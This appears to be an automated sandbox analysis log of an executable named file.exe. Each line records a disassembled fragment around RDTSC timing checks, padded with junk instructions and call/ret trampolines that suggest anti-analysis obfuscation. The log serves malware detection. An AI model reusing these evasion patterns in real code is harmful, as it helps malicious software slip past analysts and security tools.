Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E4D2 second address: 140E4E5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0EB4735D16h 0x00000008 jnc 00007F0EB4735D16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E4E5 second address: 140E4FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0EB486A686h 0x0000000a jc 00007F0EB486A686h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E4FD second address: 140E503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410FE4 second address: 141105D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0EB486A68Bh 0x00000008 jno 00007F0EB486A686h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F0EB486A694h 0x0000001a mov eax, dword ptr [eax] 0x0000001c push esi 0x0000001d jmp 00007F0EB486A691h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 jbe 00007F0EB486A696h 0x0000002d pushad 0x0000002e jmp 00007F0EB486A68Ch 0x00000033 pushad 0x00000034 popad 0x00000035 popad 0x00000036 pop eax 0x00000037 and di, 8154h 0x0000003c call 00007F0EB486A689h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 push edx 0x00000045 pop edx 0x00000046 jno 00007F0EB486A686h 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141105D second address: 14110A7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0EB4735D18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F0EB4735D29h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jl 00007F0EB4735D20h 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e jno 00007F0EB4735D1Ch 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14110A7 second address: 14110C5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0EB486A68Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jbe 00007F0EB486A694h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14110C5 second address: 14110C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411191 second address: 141119B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141119B second address: 14111A5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0EB4735D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141130C second address: 1411334 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0EB486A688h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F0EB486A696h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411513 second address: 141151E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141151E second address: 1411522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411B1F second address: 1411B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411BE8 second address: 1411C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F0EB486A686h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebx 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F0EB486A688h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b clc 0x0000002c nop 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jne 00007F0EB486A686h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411C21 second address: 1411C25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411E47 second address: 1411E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411FF3 second address: 1411FFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F0EB4735D16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411FFE second address: 141200B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14126DC second address: 14126E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14126E1 second address: 14126E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413250 second address: 1413255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413097 second address: 141309B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413255 second address: 141325F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0EB4735D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141309B second address: 14130AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A68Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141325F second address: 1413289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jno 00007F0EB4735D16h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14130AB second address: 14130B5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0EB486A68Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416A62 second address: 1416A76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF577 second address: 13CF581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F0EB486A686h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14170A1 second address: 14170A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14170A5 second address: 14170F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push ecx 0x00000009 jmp 00007F0EB486A699h 0x0000000e pop esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F0EB486A688h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov edi, esi 0x0000002d push 00000000h 0x0000002f mov di, dx 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push esi 0x00000036 pushad 0x00000037 popad 0x00000038 pop esi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419165 second address: 1419169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419169 second address: 141916D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B6A1 second address: 141B6A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B6A7 second address: 141B6AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B6AB second address: 141B6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F0EB4735D1Ch 0x00000011 ja 00007F0EB4735D16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B6C2 second address: 141B71C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jg 00007F0EB486A68Eh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F0EB486A688h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d call 00007F0EB486A68Dh 0x00000032 mov dword ptr [ebp+122D3490h], eax 0x00000038 pop edi 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push ecx 0x0000003d pushad 0x0000003e popad 0x0000003f pop ecx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C628 second address: 141C65F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F0EB4735D29h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0EB4735D25h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C65F second address: 141C665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B844 second address: 141B855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB4735D1Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141D67D second address: 141D68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0EB486A686h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141D859 second address: 141D860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141D860 second address: 141D8E4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F0EB486A688h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 add dword ptr [ebp+122D3387h], esi 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov dword ptr [ebp+122D1C61h], edx 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f and edi, dword ptr [ebp+122D37D0h] 0x00000045 mov eax, dword ptr [ebp+122D15D9h] 0x0000004b pushad 0x0000004c sub ah, 0000002Eh 0x0000004f movsx ecx, bx 0x00000052 popad 0x00000053 push FFFFFFFFh 0x00000055 push 00000000h 0x00000057 push esi 0x00000058 call 00007F0EB486A688h 0x0000005d pop esi 0x0000005e mov dword ptr [esp+04h], esi 0x00000062 add dword ptr [esp+04h], 00000015h 0x0000006a inc esi 0x0000006b push esi 0x0000006c ret 0x0000006d pop esi 0x0000006e ret 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jnc 00007F0EB486A68Ch 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E918 second address: 141E924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E924 second address: 141E92E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420841 second address: 1420852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 jns 00007F0EB4735D24h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142475D second address: 1424761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425669 second address: 1425673 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425673 second address: 1425677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425677 second address: 142568D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0EB4735D1Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142568D second address: 142569B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142569B second address: 1425702 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0EB4735D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F0EB4735D18h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 sub di, 679Ah 0x0000002b movsx ebx, cx 0x0000002e push 00000000h 0x00000030 sub dword ptr [ebp+122D1E0Dh], esi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F0EB4735D18h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 push eax 0x00000053 js 00007F0EB4735D24h 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142497C second address: 142498C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A68Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425848 second address: 14258CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0EB4735D16h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop edx 0x00000012 jnc 00007F0EB4735D1Ch 0x00000018 jno 00007F0EB4735D16h 0x0000001e popad 0x0000001f nop 0x00000020 jmp 00007F0EB4735D21h 0x00000025 push dword ptr fs:[00000000h] 0x0000002c or di, 5985h 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 mov di, dx 0x0000003b sub ebx, dword ptr [ebp+122D190Bh] 0x00000041 mov eax, dword ptr [ebp+122D1549h] 0x00000047 mov bx, cx 0x0000004a push FFFFFFFFh 0x0000004c push 00000000h 0x0000004e push ecx 0x0000004f call 00007F0EB4735D18h 0x00000054 pop ecx 0x00000055 mov dword ptr [esp+04h], ecx 0x00000059 add dword ptr [esp+04h], 00000016h 0x00000061 inc ecx 0x00000062 push ecx 0x00000063 ret 0x00000064 pop ecx 0x00000065 ret 0x00000066 movzx ebx, ax 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d jp 00007F0EB4735D16h 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14258CD second address: 14258D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142884D second address: 1428853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428853 second address: 1428857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142A729 second address: 142A72F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142A72F second address: 142A735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429950 second address: 1429954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142A735 second address: 142A739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429954 second address: 142996A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F0EB4735D1Ch 0x00000010 jne 00007F0EB4735D16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142996A second address: 1429970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142A94D second address: 142A951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142F6B3 second address: 142F6BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2C2B second address: 13D2C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434F42 second address: 1434F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434F4D second address: 1434F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0EB4735D16h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jno 00007F0EB4735D16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434F61 second address: 1434F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434F66 second address: 1434F6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14353A6 second address: 14353C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A698h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A908 second address: 143A90E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A90E second address: 143A912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A9D9 second address: 143A9DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A9DD second address: 143A9E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AA74 second address: 143AAC3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007F0EB4735D22h 0x0000000f jmp 00007F0EB4735D1Ch 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F0EB4735D27h 0x0000001d mov eax, dword ptr [eax] 0x0000001f push edi 0x00000020 jo 00007F0EB4735D1Ch 0x00000026 jo 00007F0EB4735D16h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AAC3 second address: 143AAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AC0A second address: 143AC0F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AC0F second address: 143AC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F0EB486A694h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jp 00007F0EB486A690h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jne 00007F0EB486A68Ch 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AC52 second address: 143AC6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0EB4735D25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AC6B second address: 125195E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jmp 00007F0EB486A692h 0x0000000e push dword ptr [ebp+122D0BA1h] 0x00000014 jmp 00007F0EB486A698h 0x00000019 call dword ptr [ebp+122D339Eh] 0x0000001f pushad 0x00000020 jmp 00007F0EB486A68Bh 0x00000025 xor eax, eax 0x00000027 mov dword ptr [ebp+122D2657h], edx 0x0000002d mov edx, dword ptr [esp+28h] 0x00000031 cld 0x00000032 mov dword ptr [ebp+122D3684h], eax 0x00000038 pushad 0x00000039 mov ah, cl 0x0000003b mov si, 683Eh 0x0000003f popad 0x00000040 mov esi, 0000003Ch 0x00000045 pushad 0x00000046 jmp 00007F0EB486A68Ah 0x0000004b mov dword ptr [ebp+122D32DDh], ecx 0x00000051 popad 0x00000052 add esi, dword ptr [esp+24h] 0x00000056 pushad 0x00000057 jns 00007F0EB486A688h 0x0000005d popad 0x0000005e lodsw 0x00000060 pushad 0x00000061 mov cx, ax 0x00000064 mov edi, dword ptr [ebp+122D3704h] 0x0000006a popad 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f pushad 0x00000070 mov eax, 3EE63C55h 0x00000075 mov dword ptr [ebp+122D32DDh], ebx 0x0000007b popad 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 jnc 00007F0EB486A687h 0x00000086 nop 0x00000087 pushad 0x00000088 pushad 0x00000089 push eax 0x0000008a push edx 